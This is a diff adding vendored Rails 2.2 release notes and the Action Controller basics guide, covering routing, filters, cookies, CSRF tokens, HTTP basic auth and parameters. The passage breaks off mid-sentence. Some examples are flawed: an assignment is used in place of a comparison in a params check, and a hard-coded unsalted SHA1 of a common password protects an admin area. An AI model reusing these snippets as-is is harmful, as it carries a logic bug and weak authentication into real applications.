+ +Two new sets of methods have been added to Active Record's dynamic finders family. + +==== +find_last_by_+ + +The +find_last_by_+ method is equivalent to +Model.last(:conditions => {:attribute => value})+ + +[source, ruby] +------------------------------------------------------- +# Get the last user who signed up from London +User.find_last_by_city('London') +------------------------------------------------------- + +* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua] + +==== +find_by_!+ + +The new bang! version of +find_by_!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match. + +[source, ruby] +------------------------------------------------------- +# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! +User.find_by_name!('Moby') +------------------------------------------------------- + +* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser] + +=== Associations Respect Private/Protected Scope + +Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally. + +* Lead Contributor: Adam Milligan +* More information: + - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private] + +=== Other ActiveRecord Changes + +* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo +* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. +* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer. +* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names + +== Action Controller + +On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. + +=== Shallow Route Nesting + +Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. + +[source, ruby] +------------------------------------------------------- +map.resources :publishers, :shallow => true do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +------------------------------------------------------- + +This will enable recognition of (among others) these routes: + +------------------------------------------------------- +/publishers/1 ==> publisher_path(1) +/publishers/1/magazines ==> publisher_magazines_path(1) +/magazines/2 ==> magazine_path(2) +/magazines/2/photos ==> magazines_photos_path(2) +/photos/3 ==> photo_path(3) +------------------------------------------------------- + +* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner] +* More information: + - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In] + - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes] + +=== Method Arrays for Member or Collection Routes + +You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: + +[source, ruby] +------------------------------------------------------- +map.resources :photos, :collection => { :search => [:get, :post] } +------------------------------------------------------- + +* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn] + +=== Resources With Specific Actions + +By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources. + +[source, ruby] +------------------------------------------------------- +map.resources :photos, :only => [:index, :show] +map.resources :products, :except => :destroy +------------------------------------------------------- + +* Lead Contributor: link:http://experthuman.com/[Tom Stuart] + +=== Other Action Controller Changes + +* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request. +* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.user_accept_header = true+. +* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds +* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. +* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). +* +render+ now supports a +:js+ option to render plain vanilla javascript with the right mime type. +* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. +* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+. + +== Action View + +* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code. +* The included Prototype javascript library has been upgraded to version 1.6.0.3. +* +RJS#page.reload+ to reload the browser's current location via javascript +* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions. + +== Action Mailer + +Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+. + +* More information: + - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts] + +Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. + +== Active Support + +Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods. + +=== Memoization + +Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: + +[source, ruby] +------------------------------------------------------- +def full_name + @full_name ||= "#{first_name} #{last_name}" +end +------------------------------------------------------- + +Memoization lets you handle this task in a declarative fashion: + +[source, ruby] +------------------------------------------------------- +extend ActiveSupport::Memoizable + +def full_name + "#{first_name} #{last_name}" +end +memoize :full_name +------------------------------------------------------- + +Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off. + +* Lead Contributor: link:http://joshpeek.com/[Josh Peek] +* More information: + - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization] + - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization] + +=== +each_with_object+ + +The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. + +[source, ruby] +------------------------------------------------------- +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +------------------------------------------------------- + +Lead Contributor: link:http://therealadam.com/[Adam Keys] + +=== Delegates With Prefixes + +If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: + +[source, ruby] +------------------------------------------------------- +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => true +end +------------------------------------------------------- + +This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix: + +[source, ruby] +------------------------------------------------------- +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => :owner +end +------------------------------------------------------- + +This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+. + +Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck] + +=== Other Active Support Changes + +* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes. +* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax. +* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons. +* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+ +* +Enumerable#many?+ to encapsulate +collection.size > 1+ +* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+. +* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on. +* The included TzInfo library has been upgraded to version 0.3.12. +* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+ + +== Railties + +In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism. + +=== +config.gems+ + +To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: + +* +config.gem _gem_name_+ in your +config/environment.rb+ file +* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed or frozen +* +rake gems:install+ to install missing gems to the computer +* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+ +* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+ +* +rake gems:build+ to build any missing native extensions +* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them + +You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line. + +* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones] +* More information: + - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies] + - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems] + +=== Other Railties Changes + +* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly. +* +script/plugin install -r + now works with git-based as well as svn-based plugins. +* +script/console+ now supports a +--debugger+ option +* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source +* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations. +* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+ +* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. + +== Deprecated + +A few pieces of older code are deprecated in this release: + +* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+ +* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality. +* Implicit local assignments when rendering partials has been deprecated. + +[source, ruby] +------------------------------------------------------- +def partial_with_implicit_local_assignment + @customer = Customer.new("Marcel") + render :partial => "customer" +end +------------------------------------------------------- + +Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. + +* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement. +* +ActiveRecord::Base.allow_concurrency+ no longer has any effect. +* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+ +* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated. +* +String#chars+ has been deprecated in favor of +String#mb_chars+. +* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead. + +== Credits + +Release notes compiled by link:http://afreshcup.com[Mike Gunderloy] diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt new file mode 100644 index 00000000..4ee16af1 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt @@ -0,0 +1,5 @@ +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket] + +* November 4, 2008: First release version by Tore Darrell diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt new file mode 100644 index 00000000..88b99de3 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt @@ -0,0 +1,34 @@ +== Cookies == + +Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: + +[source, ruby] +----------------------------------------- +class CommentsController < ApplicationController + + def new + #Auto-fill the commenter's name if it has been stored in a cookie + @comment = Comment.new(:name => cookies[:commenter_name]) + end + + def create + @comment = Comment.new(params[:comment]) + if @comment.save + flash[:notice] = "Thanks for your comment!" + if params[:remember_name] + # Remember the commenter's name + cookies[:commenter_name] = @comment.name + else + # Don't remember, and delete the name if it has been remembered before + cookies.delete(:commenter_name) + end + redirect_to @comment.article + else + render :action => "new" + end + end + +end +----------------------------------------- + +Note that while for session values, you set the key to `nil`, to delete a cookie value, you should use `cookies.delete(:key)`. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt new file mode 100644 index 00000000..87e3d39c --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt @@ -0,0 +1,32 @@ +== Request Forgery Protection == + +Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access. + +If you generate a form like this: + +[source, ruby] +----------------------------------------- +<% form_for @user do |f| -%> + <%= f.text_field :username %> + <%= f.text_field :password -%> +<% end -%> +----------------------------------------- + +You will see how the token gets added as a hidden field: + +[source, html] +----------------------------------------- +
+
+ +
+----------------------------------------- + +Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`: + +.Add a JavaScript variable containing the token for use with Ajax +----------------------------------------- +<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %> +----------------------------------------- + +The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt new file mode 100644 index 00000000..df67977e --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt @@ -0,0 +1,119 @@ +== Filters == + +Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: + +[source, ruby] +--------------------------------- +class ApplicationController < ActionController::Base + +private + + def require_login + unless logged_in? + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url # Prevents the current action from running + end + end + + # The logged_in? method simply returns true if the user is logged in and + # false otherwise. It does this by "booleanizing" the current_user method + # we created previously using a double ! operator. Note that this is not + # common in Ruby and is discouraged unless you really mean to convert something + # into true or false. + def logged_in? + !!current_user + end + +end +--------------------------------- + +The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method: + +[source, ruby] +--------------------------------- +class ApplicationController < ActionController::Base + + before_filter :require_login + +end +--------------------------------- + +In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter` : + +[source, ruby] +--------------------------------- +class LoginsController < Application + + skip_before_filter :require_login, :only => [:new, :create] + +end +--------------------------------- + +Now, the +LoginsController+'s "new" and "create" actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. + +=== After Filters and Around Filters === + +In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it. + +[source, ruby] +--------------------------------- +# Example taken from the Rails API filter documentation: +# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html +class ApplicationController < Application + + around_filter :catch_exceptions + +private + + def catch_exceptions + yield + rescue => exception + logger.debug "Caught exception! #{exception}" + raise + end + +end +--------------------------------- + +=== Other Ways to Use Filters === + +While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing. + +The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block: + +[source, ruby] +--------------------------------- +class ApplicationController < ActionController::Base + + before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) } + +end +--------------------------------- + +Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. + +The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: + +[source, ruby] +--------------------------------- +class ApplicationController < ActionController::Base + + before_filter LoginFilter + +end + +class LoginFilter + + def self.filter(controller) + unless logged_in? + controller.flash[:error] = "You must be logged in to access this section" + controller.redirect_to controller.new_login_url + end + end + +end +--------------------------------- + +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action. + +The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters]. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt new file mode 100644 index 00000000..8deb40c2 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt @@ -0,0 +1,24 @@ +== HTTP Basic Authentication == + +Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`. + +[source, ruby] +------------------------------------- +class AdminController < ApplicationController + + USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" + + before_filter :authenticate + +private + + def authenticate + authenticate_or_request_with_http_basic do |username, password| + username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD + end + end + +end +------------------------------------- + +With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt new file mode 100644 index 00000000..6865ace9 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt @@ -0,0 +1,40 @@ +Action Controller basics +======================= + +In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to: + +* Follow the flow of a request through a controller +* Understand why and how to store data in the session or cookies +* Work with filters to execute code during request processing +* Use Action Controller's built-in HTTP authentication +* Stream data directly to the user's browser +* Filter sensitive parameters so they do not appear in the application's log +* Deal with exceptions that may be raised during request processing + +include::introduction.txt[] + +include::methods.txt[] + +include::params.txt[] + +include::session.txt[] + +include::cookies.txt[] + +include::filters.txt[] + +include::verification.txt[] + +include::csrf.txt[] + +include::request_response_objects.txt[] + +include::http_auth.txt[] + +include::streaming.txt[] + +include::parameter_filtering.txt[] + +include::rescue.txt[] + +include::changelog.txt[] diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt new file mode 100644 index 00000000..6ea217db --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt @@ -0,0 +1,9 @@ +== What Does a Controller do? == + +Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible. + +For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. + +A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. + +NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In]. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt new file mode 100644 index 00000000..68204c18 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt @@ -0,0 +1,39 @@ +== Methods and Actions == + +A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action. + +[source, ruby] +---------------------------------------------- +class ClientsController < ApplicationController + + # Actions are public methods + def new + end + + # Action methods are responsible for producing output + def edit + end + +# Helper methods are private and can not be used as actions +private + + def foo + end + +end +---------------------------------------------- + +There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide. + +As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client: + +[source, ruby] +---------------------------------------------- +def new + @client = Client.new +end +---------------------------------------------- + +The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail. + +ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt new file mode 100644 index 00000000..e29f6310 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt @@ -0,0 +1,14 @@ +== Parameter Filtering == + +Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password": + +[source, ruby] +------------------------- +class ApplicationController < ActionController::Base + + filter_parameter_logging :password + +end +------------------------- + +The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt new file mode 100644 index 00000000..e8a2d3d0 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt @@ -0,0 +1,93 @@ +== Parameters == + +You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller: + +[source, ruby] +------------------------------------- +class ClientsController < ActionController::Base + + # This action uses query string parameters because it gets run by a HTTP + # GET request, but this does not make any difference to the way in which + # the parameters are accessed. The URL for this action would look like this + # in order to list activated clients: /clients?status=activated + def index + if params[:status] = "activated" + @clients = Client.activated + else + @clients = Client.unativated + end + end + + # This action uses POST parameters. They are most likely coming from an HTML + # form which the user has submitted. The URL for this RESTful request will + # be "/clients", and the data will be sent as part of the request body. + def create + @client = Client.new(params[:client]) + if @client.save + redirect_to @client + else + # This line overrides the default rendering behavior, which would have been + # to render the "create" view. + render :action => "new" + end + end + +end +------------------------------------- + +=== Hash and Array Parameters === + +The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name: + +------------------------------------- +GET /clients?ids[]=1&ids[]=2&ids[]=3 +------------------------------------- + +NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind. + +The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. + +To send a hash you include the key name inside the brackets: + +------------------------------------- +
+ + + + +
+------------------------------------- + +The value of `params[:client]` when this form is submitted will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`. + +Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys. + +=== Routing Parameters === + +The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: + +[source, ruby] +------------------------------------ +# ... +map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar" +# ... +------------------------------------ + +In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index". + +=== `default_url_options` === + +You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller: + +------------------------------------ +class ApplicationController < ActionController::Base + + #The options parameter is the hash passed in to +url_for+ + def default_url_options(options) + {:locale => I18n.locale} + end + +end +------------------------------------ + +These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt new file mode 100644 index 00000000..07a8ec25 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt @@ -0,0 +1,43 @@ +== The +request+ and +response+ Objects == + +In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client. + +=== The +request+ Object === + +The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are: + + * host - The hostname used for this request. + * domain - The hostname without the first segment (usually "www"). + * format - The content type requested by the client. + * method - The HTTP method used for the request. + * get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head. + * headers - Returns a hash containing the headers associated with the request. + * port - The port number (integer) used for the request. + * protocol - The protocol used for the request. + * query_string - The query string part of the URL - everything after "?". + * remote_ip - The IP address of the client. + * url - The entire URL used for the request. + +==== +path_parameters+, +query_parameters+ and +request_parameters+ ==== + +Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. + +=== The +response+ Object === + +The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. + + * body - This is the string of data being sent back to the client. This is most often HTML. + * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found. + * location - The URL the client is being redirected to, if any. + * content_type - The content type of the response. + * charset - The character set being used for the response. Default is "utf8". + * headers - Headers used for the response. + +==== Setting Custom Headers ==== + +If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value: + +[source, ruby] +------------------------------------- +response.headers["Content-Type"] = "application/pdf" +------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt new file mode 100644 index 00000000..3353df61 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt @@ -0,0 +1,67 @@ +== Rescue == + +Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: + +=== The Default 500 and 404 Templates === + +By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files 